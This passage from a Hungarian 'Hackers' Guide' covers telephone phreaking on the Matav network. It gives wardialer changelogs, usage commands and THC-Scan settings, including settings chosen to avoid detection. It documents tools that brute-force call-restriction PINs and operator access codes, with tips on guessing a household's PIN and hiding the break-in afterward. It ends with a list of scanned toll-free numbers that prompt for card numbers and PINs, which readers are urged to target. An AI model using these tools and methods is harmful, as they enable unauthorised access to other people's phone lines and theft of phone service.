1.27: - Hivoszamkijelzes tiltasa/engedelyezese opcio A Matav mint tudjuk Julius 1-tol bevezette a hivoszamkijelzest tehat ha te hivsz valakit es neki arra alkalmas keszuleke van akkor latja a te otthoni szamodat...nos ez nem tul jo...tehat kitalaltak egy olyan lehetoseget hogy ideiglenesten tiltani tudd a szamod kijelzeset. Ezt az opciot ugy tudod bekapcsolni hogyha 5. parameterkent megadod a wardialernek hogy: /nodisp Ha ez a kapcsolo nincs odairva akkor automatikusan bekapcsolja a szamkijelzest. (A program ablakaban latod is hogy hivoszamkijelzes engedelyezve van.) Hozza kell tennem hogy a hivoszamkijelzes ideiglenes tiltasat nem minden kozpont tamogatja tehat ha a /nodisp opcioval azt hallod hogy "a kert szolgaltatas nem teljesitheto" akkor kapcsold ki az opciot mert a te telkozpontod meg nem tamogatja...hamarosan tamogatni fogja, a matavnal azt mondtak hogy tervben van..(enis ebben a helyzetben vagyok 1bkent - tervben van...) 1.26: - Egypar apro bugfix - Meg kevesebb variacio! Ujonnan felfedezett korzeteimet kizartam a programbol...

1.25.1 : - CARRIER erzekeles es FOGLALT erzekeles kicsit atirva, igy 100% hogy az adott statusu a szam. [ Felredetektalas megszunt vegre... _SORRY_ a 1.23-s verzioert az 100%-ban nem mukodott ;( ]

1.25: - CARRIER AUTODETECT BUGFiX. Sorry a multkori *ELEGGE* bugos volt ;((

1.23: - Vegtelen ciklus bug javitva timeout-nal. ( THX ViDe0 ;) - Ha nem adsz meg timeout-ot akkor az alapban 30sec lesz. ( THX ViDe0 ;) - Programszerkezeten kisebb javitasok ( F0r ViDe0 ;)

Ujitas! 1, A program immar FUT WIN alol is...hat igen sokakat zavart, es azt hittek hogy ez egy hiba a programban ugyhogy jobbak lattam kivenni. 2, Ha 6-ost adsz meg x-ek szamanak akkor a 200,201,400,550-et nem scanneli a kevesebb variacio erdekeben. 3, Eljott az ido...lefekudhetsz, a gep scannel neked...erzekeli a carrier-t ha talalt loggolja es megy a kovetkezo szamra...foglalt-nal ugyanez van. Ha pedig egyik sincs akkor var XXmp-t es megy tovab...( XX = amennyit megadsz timeout-nak )

1.21: - Allithato timeout. A parameterezes: C:\>wrd.exe [dialmask] [x_ekszama] [modemed_portja] [timeout] [/nodisp] A timeout-t masodpercben add meg. Pl ha 15masodpercet akarsz akkor: C:\>wrd.exe 0680 6 com2 15

1.20: - Timeout visszateve 30sec-re mert 24sec alatt az 1 kicsengeses carrier sem futott le... - Autodetect recall bugfix - Hivott szamok bugfix carrier,es foglalt autodetectnel - Belekerult egy uj portos modszer amely remelhetoleg segit a belso modemes es com3-s emberkeken... - Mostantol a connect sebesseg 2400-rol 9600-ra emelkedett, ami gyorsabba teszi a scan-t. - Com3,Com4 bugfix.../koszi Video!/ - Autodetect se ment com3,com4-en...javitva./koszi Video!/

287

Hackers’ Guide

- ATX4 bugfix... - Foglalt erzekeles - Carrier erzekeles - Timeout...

A timeout egyenlore nem allithato, ez alapban 30mp-t jelent. Ez alatt siman lefut egy carrier...tehat ha van az az elfoizeto nem kapcsolhato hang akkor a gep ott 30mp-t var...egyenlore ez a szep es ez a jo ;/

1.10á : - CARRIER AUTODETECT :)

UJ STATUS-ok! -=> 1-es gomb: On korzetebol nem elerheto. -=> 2-es gomb: Ebben az idoben nem kapcsolhato.(az ido-t a szam melle irja a logban is) -=> 3-as gomb: Hivjon munkaidoben!(ido a szam melle mentve a logban) -=> U-betu : Ujrahivas!

1.03 : [ Az AGYONBUGFIXELT wardial ] [ ...2es fel oran keresztul egyfolytaban javitgattam annyi kellemetlen dolgot talaltam benne ejjel... ]

-PAUSE funkcio("p" betu ... ha lenyomod bontja a vonalat,es az eppen hivas alatt levo szamot ujrahivja a szunet vege utan) - Egesz ejjel ment a progg, minden eddigi hiba javitva... ( 99999999db bugfix... ) [ Teszteltem 347 szammal es nem volt hiba ;] ( Matav kozpontja meg is doglott tole! :) - Delelott megint 200000db bugfix...aaargh :)

0.98 : - Ido bugfix - A foglalt szamok melle is kiirja az idot a logba - Ezenkivul csomo apro zavaro hiba javitva

0.95 : - Eddig csak 0680-s szamok hivasara volt alkalmas, de mostmar a MINDENKInek-esek hivogathatnak vele 0651-eseket is ;] - Nem letezo logfileok bug javitva. - A 200xxx,201xxx,400xxx scan-nel elszallt a progi. Javitva. - Ha mar volt commentes szam es ujat irtal be a regi commenten keresztul irhattad mert nem torolte a sort...javitva.

0.91 : - Ha van aktiv dialup kapcsolatod akkor nem szedi szet a vonalat, hanem szol hogy elobb lodd le azt, es utana inditsd a programot. - Az osszes eddig felhivott szam szamat is tarolja, nem lesz minden ujrainditaskor 0, hanem annyi amennyit eddig felhivott.

0.90 : - A veletlenszeru tarcsazasi sebesseg ISMET bugos volt...most teszteltem a progit 48db szammal es megy rendesen 1enlore :) - Beletettem egy figyelest arra az esetre ha a modem nincs bekapcsolva akkor ne dogoljon meg...igy mar az elejen ellenorzi hogy van a modem bekapcsolva.

288

Hackers’ Guide

0.85 : - A veletlenszeru tarcsazasi sebesseg kisse bugos volt, ez javitva. - A kuzor menetkozben ki van kapcsolva ... igy kicsit esztetikusabb ;] - Egypar .log hiba javitva..ha nem voltak logfileok lehalt a progg. - Innetol kezdve minden szamnak KULON log fajl van: = Foglalt: foglalt.log = Csorog : csorog.log = Carrier: carrier.log = Egyebek: other.log ( egyeb: [T] tovabb, es a megjegyzeses szamok ebbe kerulnek. )

0.61 : - A programba beletettem a veletlenszeru tarcsazasi sebesseget, ez azonban kicsi( de eszrevehetetlen ) lassulast eredmenyezett , ugyanis a modem nem birja ha tul gyorsan kapja 1masutan a parancsokat.. - Mostantol ESC-re is kilep.(de a q betu is megmaradt)

0.52 : - Teljesen uj modemvezerles! ( kozvetlen port hozzaferessel ) - Uj felulet

0.43.1: - Egy zavaro bugfix arra az esetre ha hibas dolgokat adnal be a proginak. Koszonet fxxk-nak hogy felhivta ra a figyelmem.

0.43 : - Uj felulet, hogy otthonosabb legyen a progg ;] - BugfiX: ha a progi lefagyott ( azaz a win halt meg alatta :) akkor az eddig a log-ba irt szamok elvesztek. Ez a hiba javitva.

0.3á : - A mar felhivott szamokat nem hivja ujra,ezeket a hivott.log-ban tarolja le. - Kisebb bugfixek , hasznalat kenyelmesebb lett. - Teszt uzemnel 264 szam ment le programhiba nelkul. Az esetleges hibakat e-mailben kuldjetek el a lent megadott cimre. Koszi!

0.2á : - Egypar bugfix - Uj funkcio hozzaadasa mert hasznalata kellemetlen volt - S11 allitasanak kivetele(ideiglenesen) mert bugos volt a progg miatta

eXtRa DoLgOk: - A korzetben megadhatsz 6x-et is, igy scannelheted a 0680-000-000 999-999-es tartomanyt az elejetol a vegeig! - Ha az x-ek helyere 3-at adsz meg akkor 200-xxx-et scannelni - Ha az x-ek helyere 4-et adsz meg akkor 201-xxx-et scannelni - Ha az x-ek helyere 5-ot adsz meg akkor 400-xxx-et scannelni

Hasznalat: !wrd.exe [dialmask] [x_ek_szama] [modemed_portja] [timeout] [/nodisp]

Dialmask: A dialmask itt a korzetet jelenti ahol hivni akarsz. Ez nagyreszt a 0680, de lehet mas ingyenes korzet is. Ide tehat altalaban 0680-t szoktam irni.

X-ek szama: Az x-ek szama hatarozza meg tenylegesen a hivando szamokat. Ha x-ek szamanak 6-ot adsz meg es pl. a dialmaskod a 0680 akkor a program a kovetkezo

289

Hackers’ Guide

szamokat fogja hivni veletlenszeru sorrendben: 0680-000-000 -- 0680-999-999. A prog specialis opcioja amikor a dialmask 3 mert ebben az esetben a 0680-200-as korzetet hivja vegig.( itt van a legtobb erdekes szam, informacios vonal es minden mas.. ) Ha x-ek helyere 4-et adsz be akkor a 0680-201-t hivja vegig.(0680201-000 -tol 0680201-999-ig) Ha pedig 5-t akkor a 0680-400-000-tol 0680-400-999-ig hivogat ;]

Modemed portja: Az a port amin a modemed figyelget. Ez legtobbszor a com2, de lehet com1 is.

PELDA: Pl ha en a 0680-as korzetben akarok scannelni (0680-000-000 -- 0680-999-999-ig MINDENT) es a modemem a com2 porton van akkor ezt irom be:

C:\>!WRD.EXE 0680 6 com2 25

Igy a timeout 25masodperc lesz...ha oda nem irsz be semmit akkor alapban 30mp.

Ismert BUG: - A prog a megadott korzettol fuggetlenul tarolja le a szamokat, tehat ha te 0651-ben es 0680-ban is hivogatsz akkor arrol a szamrol amit egyszer 0680-ban felhivtal azt hiszi hogy 0651-ben is felhivtad..egyenlore ez van :/

Greetings: Video : Koszi a sok sok segitseget, megertest. Tiby : Koszi a velemenyeket a progirol. Fxxk : Az hibas port bug-ra o hivta fel a figyelmem. Wolphie : A sok-sok segitsegert ezer kosz...! Womit : A faradhatatlan mindenttudo. Sea-you : Koszi az oszinte velemenyeket! Philip : Johetnek a javaslatok tovabbra is. AneglBOY: Miatta jottem ra hogy a carrier detect bugos ;) THX!

Barmilyen megjegyzesed,5leted vagy javaslatod van irj! CoNtAcT : [email protected]

- Innen letoltheted a programot! - ************************************************************************************************ THC-Scan használat + config

290

Hackers’ Guide

About: A program a THC nevü csapat fejlesztése még 1997-bol. Tekintvén hogy a progi jó régi a gyorsabb processzorokon már nem fut el. Ehhez kell egy tp7p5fix.com amit a wardial.rar-ban taláhatsz. Ez fixeli ezt az apró hibát, utána indíthatod a dialer-t. A program magában nagyon megbízható, azonban van benne egy bug amirol jobb ha tudtok: wardialerezés közben az ALT+D kombinációval lehet egy általad megadott számot hívni. Nos ez eddig jó is, de miután felhívta a számot, és folytatnád a scannelést elfelejti számolni a hívott és a hátralévo számokat. Erre megoldás az hogy újraindítod a progit. (Persze csak azután miután lementetted a .dat -ot).

Config: Indítsd el a ts-cfg.exe -t. Az első menüpont: MODEM CONFIG: Itt a modemed dolagit állitod be (port,delay stb). A fossil driver-t ajánlatos NO-ra állitani ha nincs gondod a dialerrel. Ha nem indul a dialer akkor meg lehet próbálkozni YES-el. A modem control magától értetodik, a modemed szerint állítsd be. (Az optimális ha secure/dumb/check-et állítasz be.) Init string az ATZ, hangup általában ATH. Modem command delay pedig alapban 500. A lassabb modemeknél növelni kell ezt az értéket. Ha a dialer furcsán müxik pl. a modem nem hív, csak minden 2.-3. számot akkor itt a baj. Wait between calls: hivások közti várakozás. Matávoskonak javasolt 2000 ms-re állitani, ellenkezo esetben nem fog megfeleloen muködni a progi. (és még az is lehet hogy egyszercsak eltunik a vonal a telefonból, vagy elkezd átmeneti túlterheltségre hivatkozni...) A modem char delay-t ajánlatos 0-n (autodetect) hagyni. MODEM RESPONSES: Mindenki saját modemjén múlik. Szabvány-nak maradhatnak default-ok. SCANNING OPTIONS: Na ez számunkra igen érdekes menüpont! -

• Scan mode: (Carrier/Tones) Carrier-t keressen vagy Tones-t (Tone: fax,pbx,loop)

• Dial mode: Ha randomra teszed akkor véletlenszámokat generál a megadott körzetben / intervallumban és azokat hívja.

• Sequentiel up / down is van, de ezt Matávnál szintén nem túl jó használni.

• Carrier hack mode: A megtalált carrier-t fel tudja törni. Ajánlott NEM használni hacsak nem akarod egy sötét cellában végezni.

• Timeout: Mennyi mp-t szánjon a hívásra. Ha timeout letelik ugrik a következo számra. (kb. 50mp eleg ide.)

• Redial busy:Ha egy szám foglalt addig hívja újra amignem felveszik. Felesleges, szerintem hülyeség yes-re állítani... dehát mindenki döntse el maga.

• No dialtone exit: Hát igen...járhattok ti is úgy hogy egyszercsak felveszi a modem és nincs tárcsahang... nos a kérdés az hogy hány ilyen nincs tárcsahang üzenet után záródjon be a progg. (0680-nal 80-130 hivás után

291

Hackers’ Guide

kaptam egyszer no-dialtone-t, és miután bontott a modem egyszerre csörgött a telefon...jobb *NEM* felvenni)

• Auto save .dat file: (Optimális:2perc) 2percenként menti a már felhívott számokat a paraméternek megadott fájlba.(Kézileg az ALT+U-val tudod ugyanezt elérni)

MISCELLANEOUS menüpont: • Dial delayer: (Dial/Send / Dial+Send / No) Késleltetés az egyes számjegyek

leütése és a hivások között. Matávnal ajánlatos DIAL-ra tenni. (Ha dial+send-re teszed úgy **NAGYON** nehéz észlelni hogy wardialerezel, de sokkal lassabb. (paranojásoknak ajánlott:) Marad tehát a DIAL delayer.

• Dial delay min: Optimális az 50ms.

• Dial delay max: Optimális a 120ms.

• Send delay min: Opt. 1000

• Send delay max: Opt. 1800 Hat ennyit a configrol...remálem nem hagytam ki semmit :) Kapcsolok: THC-SCAN.DOC-ban 100% -ig le van irva, nem részletezem, akinek vmi gondja lenne velük keressen meg. Példa: thc-scan 80400xxx /c /n /m:06-80-400-xxx Ebben az esetben a .dat fajl neve (amiben a már hívott számok, és azoknak erdeményei pl. foglalt vannak) 80400xxx A /c azt jelenti hogy carrier-t keressen, és a /n pedig hogy ne másszon az ablak a kepernyon, hanem egybol jelenjen meg. A /m pedig a dialmask, vagyis a tartomány ahol scannelni fog. Ebben az esetben ez 0680400 xxx Tehat a szám lehet: 0680400 000-999-ig barmi!

Hasznos dolgok a programban: - Ha éppen hívsz egy számot akkor kedved támadhat commentelni. Erre a S betu szolgál. Miutan befejezted a hívást a progi kéri a commented. (pl. coca-cola forródrót száma) A beírt commentet a comment. log fájlba menti el. (számmal 1ütt) - Ha egy számrol akarsz lépni a következore egyszeruen nyomj SPACE-t. - Lehetoséged van egy adott számot adott csoportba tenni. Pl ha valaki beleszól akkor benyomod az O gombot (voice.log). Ha no veszi fel akkor a G gombot (girl.log). Ha pedig a szám foglalt, akkor egyszeruen benyomod a B gombot (busy.log) de azis jó ha semmit se teszel, észleli a foglaltat, es automatikusan busy-nak loggolja, és ugrik tovább. Ahhoz hogy észlelje a foglaltat a modem response-nek LONG FORM-ban kell lennie. (ATV1 parancs)

Vélemeny: Saját véleményem, hogy ennél jobb Wardialer-t még nem láttam... használjátok egészséggel!

Telefonszámla: A dolog csakis toled függ. Van több lehetőseg is. Ha fixre tudod hogy a hívott számok ingyenesek akkor nyugodtan wardialerezz (0680 pl., és itt NINCS kapcsolási díj sem, ellentétben a többi számmal)- Nem tudod hogy a hívott szám ingyenes-e? Hát igen...elofordul. Én abban a szerencsés helyzetben vagyok hogy hiváskorlatozásra elofizettunk, és csak beállítom, és CSAK az ingyenes számokat engedi hívni... javaslom nektek is! Egy hónapra csak 180Ft...aktiválás: *34*negyjegyukod*04# Ezután csak ingyenes számokat tudsz hivni, ha nem akkor azt mondja hogy errol a készülékrol ez a szolgáltatás nem veheto igénybe. Ha újra

292

Hackers’ Guide

telefonálni akarsz akkor: #34#negyjegyukodod# Megvárod a nyugtázó szöveget ittis, és kész.

Törvény: Magyarországon *NINCS* törvény wardialerre, úgyhogy teljesen nyugodtan lehet használni. (kivéve a carrier hack opció-t...:)

MMan ************************************************************************************************ Híváskorlátozásfeltörő 0.01 by Mman Bevezeto Eljott az ido ... itt a segitseg mindazoknak akik jelszoval blokkolt hivaskorlatozasban szenvednek! Nem kell mast tenned mint elinditani a programot es varni a buvos beep beep beep -re. FAQ: Kerdes: Honnan tudom hogy jelszoval blokkolt hivaskorlatozas van? Valasz: Ha egy olyan szamot hivsz amit a korlatozas tilt akkor ezt hallod: " Az on altal hasznalt telefonallomas a kert szolgaltatasra nem jogosult. " Leggyakrabban azonban az az eset all fenn hogy semmit sem tudsz hivni kiveve az ingyenes szamokat. Ezt jelszoval blokkolt hivaskorlatozasnak hivjak a Matavnal. Ha valaki telefonalni akar odamegy a telefonhoz es betu a kovetkezoket: #34*kood# . Evvel deaktivalja a korlatozast es telefonalgat vigan. Ha ujra aktivalni akarja akkor beuti ezt: *34*kood*04# . A 04 a vegen azt jelenteni hogy pl csak nemzetkozi hivasok legyenek tiltva, vagy csak a helyi hivasok legyenek tiltva... / 04 = minden tiltva amiert fizetni kell /

Kerdes: Mennyi lehet a kod hossza? Valasz: A kod hossza egyenlore 4 szamjegy lehet. (sem kevesebb, sem tobb!)

Kerdes: Mik a leggyakrabban hasznalt kodok? Valasz: Tapasztalatbol mondom: szulok szuletesi evei egymasutan, szemelyi szam utolso 4jegye, szulok eletkora, utlevelszam ...

Kerdes: Nincs erre valami egyszerubb modszer ennel a programnal? Valasz: Attol fugg...Nos ha a telefonhoz hozzafersz amirol leveszik es rateszik a korlatozast az mar fel siker. Ha van rajta REDIAL gomb az mar megint egy resze a sikernek...es ha az emberke aki a hivaskorlatozast rateszi es leveszi nincs olyan okos hogy a kod ratevese utan hivjon valami mas szamot hogy ne tudd hasznalni az ujrahivas gombot...akkor NYERTEL! A dolgod annyi hogy odamesz a telefonhoz benyomod a redial gombot...ekkor ezt hallod hogy "A kert megbizast a telefonkozpont elfogadta." Namarmost neked fel kellene venni magnora vagy valami

293

Hackers’ Guide

mas izeere ezt a tarcsazast hogy kesobb analizalni tudd..a lenyeg az hogy: *34* UTAN levo 4 db szamjegyet ismerd fel dialtone-hangon... ha megismered hallas utan is hogy melyik melyik akkor maris a kezedben van a kod. En special ugy csinaltam hogy elkezdtem egyenkent nyomogatni az 1,2,3,4,5...0,,,stb gombokat es a korlatozasban levo gombnyomasokat is kulonvagtam es osszehasonlitottam oket. Igy konnyeden ( 10perc alatt mindossze ) ratalaltam a helyes kodra.

Kerdes: Namarmost...feltortem a kodot a programmal de nem tudom visszatenni a hivaskorlatozast, mindig azt mondja hogy "a kert megbizas nem teljesitheto." Valasz: Valoszinuleg rossz szamot adtal meg a vegen. Tehat ertem itt azt hogy ugye a 04 a vegen mindent tilt amiert fizetni kell..namost akkor neked a vegen nem 04 van hanem 01,02 vagy 03..

Kerdes: Mik is a hasznalhato kodok es milyen hivastipust tiltanak? Valasz: 01 = Nemzetkozi hivasok ( 00 ) 02 = Nemzetkozi es emeltdijas hivasok ( 00 , 0690 ) 03 = Nemzetkozi es belfoldi ( 00, 06 ) 04 = MINDEN tiltva amiert fizetni kell ( 00, 06, helyi szamok )

1 . Parameterezes C:\>hkhk.exe [port] [telszam] A port : a modemed portja pl ha com1 akkor ez 1 , ha com2 akkor 2... stb. A telszam : az a telefonszam amelyiken a hivaskorlatozas van , amelyikrol futtatod a programot.

Pelda az inditasra ha a modemem a com2-es porton van es a telefonszamom pedig 358797 akkor:

C:\>hkhk.exe 2 358797

Ekkor a program elindul es neked nincs mas dolgod ... azt csinalsz amit akarsz. Ha a program megtalata a helyes kodot akkor sipol parat es kiirja a kodot a kepernyore es var egy billentyu leutesere. A hivaskorlatozas ilyenkor deaktivalva van. Ha ujra aktivalni akarod hogy ne tunjon fel semmi akkor beutod a telefonon ezt: *34*kood*04# ( a -kood- az amit a progg megtalalt ) utana bemondja hogy a Kert szolgaltatast a telefonkozpont elfogadta...es kesz is :)) Jah hozza kell tennem hogy a feltores egy fillerbe sem kerul akkor sem ha megtalalod a helyes kodot es ki-be kapcsolgatod 10000szer mert a szolgaltatas havidijas...( nem alkalmi ... Matav rlz! :)))

2. Telefontarsasagok A program _KIZAROLAG_ a Matav korzetben hasznalhato... ( /me LoVe MATAV!!!!! MATAV RULEEEEEES :)))))))))))))

3 . Kapcsolat Javaslataitok, eszrevetelek, bug-ok : E-MaiL: [email protected] iRC : MMan, _MMan_, [MMan]

- Innen letoltheted a programot! -

294

Hackers’ Guide

************************************************************************************************ Ophacker 0.1 by MMan

Ophacker 0.1 by MMan OPHACK.EXE : Csak 3,2,1jegyu kodokat tesztel..

OPHACK2.EXE: 1,2,3,4jegyu kodok 1arant.

Ez a program az operátori számok feltöréséhez készült.Opetároti számok alatt értem az olyan számokat amiket ha felhívsz bemondja hogy adja meg az ID-t majd nyomja le a # gombot. Nos ez a program ezekhez a számokhoz készült, de használható más ilyen jellegu számok törésére is ... a lényeg a formátum! Tehát eloször a kód utána pedig a # gomb..vannak ugyanis olyan számok is amelyek nem mondanak semilyen szöveget de ha beütsz neki ilyen formátumban egy kódot akkor máris lebontja a vonalat...de mit csinálna vajon ha jó kódot ütnél be? Ezt én sem tudom, de remélem lesz alkalmam megtudni... :))

Parameterezes: ophack.exe [modem_portja] [telszam]

[ Pl: ophack.exe 2 0680550869 ( com2-n van a modem es telszam a 550869 ) ]

[ Mind2-t kulon konyvtarba _KELL_ tenni es kulon osszes.log es tested.log-t kell csinalni nekik. ]

!= Teszteltem oket egy darabig gondjuk nem volt..ha vmi van irjatok es kijavitom.

Ha ezek megvannak atirom majd 4-12jegyu kod tesztelesere de szerintem ez igy eppen eleg egyenlore..

Telefonszámok: --200-- 0680200412 0680200413 0680200868 0680200874 0680200901 --550-- 0680550696 0680550761 0680550867 0680550869 0680550936 --201-- 0680201415

295

Hackers’ Guide

0680201173 --202-- 0680202572 0680202701 --???-- 0680201416 - ELvileg opszam de mikor hivtam foglalt volt

- Innen letoltheted a programot! - ************************************************************************************************ "06-80"-on keresztül külföldre Új körzetek, melyeknél a vonal másik végén akár egy Japán vagy Kínai sot akár Amerikai néni / bácsi is szólhat hozzád és némelyik carrier elég fura dolgokat muvel. Soot! Minden harmadik szám kártyaszámot és pin-t kér, tehát aki unatkozik az mozduljon rájuk! :)) Nemrég jöttem rá egy kedves ismerosöm gondolatmenetének lényegére, ami ezekkel a számokkal kapcsolatos. Ez az egész körzet 99% hogy a Matáv IPtel technológiájára épül (telefonálás IP technológiával sokkal olcsóbb külföldre, azonban a Matávnak ez egy fillérjlbe sem kerül ha az IP rendszer kiépítését figyelmen kívül hagyjuk) Na jó tehát a lényeg az hogy ezek elvileg NEM hivatalos körzetek, tehát a Matáv az IP technológia demonstrálására/tesztelésére rendelte ki oket. Nem tudom biztosan hogy ez tényleg így van e, de az 99.9% hogy akihez ezek a hívások beérkeznek azok NEM fizetnek érte! Tehát ha te találsz egy zöldet amit hasznosítani tudsz akkor lóghatsz rajta napokat is, a számla nem fog menni a cégnek akié a szám hiszen mint mondtam a cég elvileg nem is tud róla hogy nekik van zöldjük is..esetleg kivételek lehetnek ezalól a magyar cégek, de az biztos hogy más országokba meno zöldekrol nem tudnak! :)))) Nos. Most éppen egy tévedést akarok helyrehozni: ezek a körzetek HIVATALOSAK, tehát a szám másik végén lévők tudják hogy van ez a szám. Azt nem tudom hogy fizetnek e érte, de ezt csak egy telefonomba telik megkérdezni, amint meglesz az infó írok róla egy cikket. Addig is: türelem, és scanneljetek tovább mert ez nem jelent számotokra semmit! :)))) !!0680013-828 Comment:INTERNATIONAL OPERATOR :DDDDDDDDDDDDDDDDD Can i help you? :)))))))))))))))))))))))))))))))))))))))))))))))) 0680012500 - Foglalt 0680012501 - Fuhha .. nemertem. Vmi csa cas raiders..no felveszi. 0680012502 - Vmi no...What can i help for meni? ( ezt ertettem) 0680012503 - Vmit beszel..All izee for customers vagymi 0680012504 - Foglalt ( NEM magyar ) 0680012505 - HUBAZ..vmi no: AMERICAN vmi...AZALLAT....... 0680012506 - Cseng.. 0680012507 - Kicseng

296

Hackers’ Guide

0680012508 - Kicseng 0680012509 - Ez vmi test de nemtoom mien nyelven van... 0680012510 - Foglalt ( magyar ) 0680012511 - Foglalt ( NEM magyar ) 0680012512 - Mci hotline. Can i help you? WOW EGY EMBER! 0680012513 - Number you has dialed cannot be reached from your calling area. 0680012514 - EF NINCS 0680012515 - Kicseng ( magyar ) 0680012516 - MCI Wordlcard. Enter you card number now. 0680012517 - Thx for calling mastercard globus center. 0680012518 - Ef kivansagra atmentegileg nem kapcsolhato 0680012519 - Welcome to the lies plink tech superdesk. At the moment.. 0680012520 - You haver reached vmi corporation. Hmm...PBX gyanus. 0680012521 - Kicseng 0680012522 - Your call cannot be... 0680012523 - Kicseng 0680012524 - Kicseng 0680012525 - NINCS EF 0680012526 - Kicseng 0680012527 - Kicseng 0680012528 - Welcome to vmi . Pls enter your PIN number 0680012529 - Kicseng 0680012530 - NINCS EF 0680012531 - Klub Nokia Karlines vonala. Pillanatnyilag irodaink zarva vannak. 0680012532 - Your call.. 0680012535 - Vmi NEMET izee ( kauft nummer ein ) 0680012536 - FOGLALT 0680012537 - Vmi NEMET izee megin 0680012541 - Megin vmi NEMET izee 0680012545 - Vmi Radiomail mailbox 0680012546 - Telecomm ITALIEN INFOR...vmi OLASZ SZOVEG !! WOWOWOW! !!0680012547 - Ussed be a szamot amit hivni akarsz??Beutsz vmit majd a #-t: Visszamondja mit utottel be es: It's not a valid number. 0680012548 - NINCS EF 0680012549 - MailBoX 0680012550 - Temporary suspended...nem ertem. 0680012551 - Hulla csend...talan var vmi szam leutesere? Hmm..kitudja. 0680012552 - Vmi mellekre atcsorog de ott nem veszik fel. 0680012553 - You call cannot be completed as dial. Check the number and dial again..ehh?! 0680012554 - FOGLALT 0680012555 - NINCS EF. 0680012556 - NINCS EF. 0680012557 - General motors bunmegelozesi szolgalata most zarva van.. ;D 0680012558 - VMI OLASZ IZEEE 0680012559 - Temporaly suspended.. 0680012560 - FOGLALT 0680012561 - FOGLALT 0680012562 - FOGLALT 0680012563 - Mellekre atcsorog de ott nem veszik fel

297

Hackers’ Guide

0680012564 - Wow vmi ANGOL uzenetrogzito vette fel...EHHE ;))) 0680012565 - FOGLALT 0680012566 - EF NINCS 0680012567 - EF NINCS 0680012568 - EF NINCS 0680012569 - Mellekre atcsorog, nemveszik fel 0680012570 - VMI OLASZ IZEEE 0680012572 - VMi Card service...2nyelven mondja!(Angolul es japanul vagymi;)) 0680012573 - sokat varni, vmit beszel: your cal...nemertem...pls call again! 0680012574 - sipolasnal dogledezik, terminal sem jon fel... 0680012575 - Vmit beszel angolul es bont ( hivjal vmi szamot amit bemondott..) 0680012576 - Ugyanez..number you called is changed ha jjol hallottam mostmar. 0680012577 - Kicseng ;/ 0680012579 - Please enter you card number and pin 0680012580 - EF NINCS 0680012581 - EF NINCS 0680012582 - EF NINCS 0680012583 - EF NINCS 0680012584 - Kicseng ;/ Majd FAX felveszi 0680012585 - Angol izee..ha nem nyomsz meg semmit akkor KAPCSOLJA AZ OPERATORT!! ;)))))))))) 0680012586 - Good Evening! Plea-se enter UserId (GEP) 0680012587 - Kicseng, utana csend majd a gep azt erzekeli hogy foglalt..de nem az rendes foglalt jelzes van..vmi mas..mintha USA-ban lennel 0680012588 - Your call cannot be completed as dial..check the number and dial again. 0680012589 - EF NINCS 0680012590 - FAX felveszi 0680012591 - EF NINCS 0680012592 - Your call cannot be completed as dial..check the number and dial again. 0680012593 - Fura hangja van ekkor usse be vmi szamot..es beszel vmit 0680012594 - Your call cannot be completed as dial..check the number and dial again. 0680012595 - Please enter your ****(nemertem) code now. 0680012596 - Qrvahalk..vmi thank you for calling ... 0680012597 - Pff..4csenges utan felveszi gep, de qrvahalk nem ertem mit mond 0680012598 - Hm ugyanaz mint az elozo ;/ 0680012600 - EF NINCS 0680012601 - You reached the .. valami.. 0680012602 - Please enter you card number now. 0680012635 - 4csorges utan vmi angol rogzito felveszi 0680012614 - Nemet...giebe sie diese account number ein. 0680012647 - Your call cannot be..... 0680012666 - EF NINCS 0680012676 - EF NINCS 0680012688 - EF NINCS 0680012680 - EF NINCS 0680012662 - EF NINCS 0680012619 - 4csorges utan: welcomen sie...vmi duma...de magyarul csorog ;]

298

Hackers’ Guide

0680012607 - Pls enter your card number now. 0680012645 - Vmit beszel..Office hours are...stb.. 0680012603 - Olyan mintha kicsengene de qrvafura hangja van 0680012632 - Sorry is this number is no longer in service. 0680012622 - Pls enter opp code now..csomo nyelven elmondja meg 0680012628 - Sorry but the number you called is not in service at this time or it cannot be reached from your calling area.. 0680012634 - Kicseng de eleg mely hagon 0680012615 - Your call cannot be completed as dial.. 0680012660 - Your call cannot be completed as dial.. 0680012639 - Vmit beszel angolul 4csorges utan kb 0680012694 - For english press one,for espanyol pres 3...stb 0680012630 - Sorry there's no one who can take your call..to levase a messsage.. 0680012641 - Your call cannot be completed as dial...... 0680012665 - Your call cannot be completed as dial...... 0680012661 - Your call cannot be completed as dial...... 0680012610 - Your call cannot be completed as dial......de elotttte egy fura hang 0680012633 - Vmi szoveget bemond vmien nyelven.. 0680012654 - Welcome to telekom. Pls enter you card number and pin code 0680012613 - Gecc vki felvette!! VMI ANGOL NOOO EHHHHE 0680012636 - Cseng.. !0680012655 - The toll free number can that you reached DISCONNECTED...elmondja parszor majd foglalt lesz,de angol foglaltjelzessel 0680012623 - Vmi angolul mond de allti halk 0680012637 - Your call cannot be completed as....... 0680012644 - Your call cannot be completed as....... 0680012643 - MailBoX elvileg 0680012617 - Vmi faszi felveszi...ANGOL beszed.. 0680012605 - Uzenetrogzito ha jolhallom....ehhe... 0680012604 - Kicseng de qrvafura hangon.. 0680012608 - Kicseng majd: Your call cannot be completed....... 0680012692 - Welcome to vmi office..pls enter your pin code! 0680012658 - Welcome to the globus. Pls enter the card code followed with the pound key. 0680012659 - VMit beszel...vmi international office vagymi 0680012627 - Kicseng 0680012631 - Your call cannot be completed.... 0680012691 - Vmi faszi felvette..ANGOL beszed + mely csorges. 0680012629 - Sies sie call be autodidaktung..vagymi ;)) 0680012650 - Card number..hatch key..stb 0680012652 - Qrvahalk de mi angol duma megy 0680012651 - Welcome to globus...card code..stb mint az elobbi jen szam 0680012698 - Your call cannot be.......... 0680012697 - Your call cannot be..........de elotte csorog 1-t 0680012602 - Pls enter your card number now. 0680012699 - VMi gep felveszi 3csenges utan 0680012612 - EH na ennek aztan MINDENFELE HANGJA VAN.. 0680012693 - VMi kulfoldi duma...vmi VodaTel vagymi 0680012620 - FAX felveszi 2csorges utan 0680012695 - Your call cannot be completed........

299

Hackers’ Guide

